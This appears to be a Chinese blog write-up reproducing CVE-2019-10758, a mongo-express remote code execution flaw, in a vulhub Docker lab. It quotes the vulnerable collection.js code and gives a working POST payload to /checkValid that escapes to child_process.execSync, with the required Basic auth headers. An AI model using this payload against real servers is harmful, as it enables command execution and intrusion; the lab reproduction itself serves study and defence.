当前位置:网站首页>mongo-express 远程代码执行漏洞复现
mongo-express 远程代码执行漏洞复现
2022-08-11 05:32:00 【Tauil】
漏洞原理
在 mongo-express 的 collection.js 中,checkValidIndexJSON 和 checkValidJSON 在处理消息体 document 内容时使用的 addDoc.getValue 和 addIndexDoc.getValue 方法没有进行检验,导致在知晓用户密码情况下可以执行js代码
const addDoc = CodeMirror.fromTextArea(document.getElementById('document'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
const addIndexDoc = CodeMirror.fromTextArea(document.getElementById('index'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
window.checkValidJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#documentInvalidJSON').remove();
$('#addDocumentForm').submit();
} else if ($('#documentInvalidJSON').length === 0) {
$('#document-modal-body').parent().append('<div id="documentInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
window.checkValidIndexJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addIndexDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#indexInvalidJSON').remove();
$('#addIndexForm').submit();
} else if ($('#indexInvalidJSON').length === 0) {
$('#index-modal-body').parent().append('<div id="indexInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
漏洞复现
js文件中定义了该页面访问路径在 http://靶机IP:8081/checkValid ,需要用POST方式提交
消息体内容写入
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/hacker")
同时数据包需要新增类型
Authorization: Basic 用户:密码base64编码值
Content-Type: application/x-www-form-urlencoded
打开靶场:vulhub
cd mongo-express/CVE-2019-10758/
sudo docker-compose docker up -d
sudo docker-compose ps
登录网页,发送数据包
进入靶机容器
sudo docker ps
sudo docker exec -it 容器ID bash
ls /tmp
命令执行成功
边栏推荐
猜你喜欢
随机推荐
OpenGL 摄像机(Camera)类的创建
2021年vscode终端设置为bash模式
【力扣】判断子序列
【LeetCode-73】矩阵置零
杀死进程-查看防火墙状态
stegano
2022DASCTF X SU 三月春季挑战赛 checkin ROPgadget进阶使用
父子节点数据格式不一致的树状列表实现
Lua中and和or的用法和记忆方法
Dark Horse Event Project
Byte (byte) and bit (bit)
Unity3D中所有特殊的文件夹
CLR via C# 第五章 基元类型、引用类型和值类型
Lua 元表(Metatable)
C# 基础之字典——Dictionary(二)
SSL证书为什么要选付费?
自己动手写RISC-V的C编译器-02语法描述方法和递归下降解析
Unity Mesh、MeshFilter、MeshRenderer扫盲
Asis2016 books null off by one
BaseActvity的抽取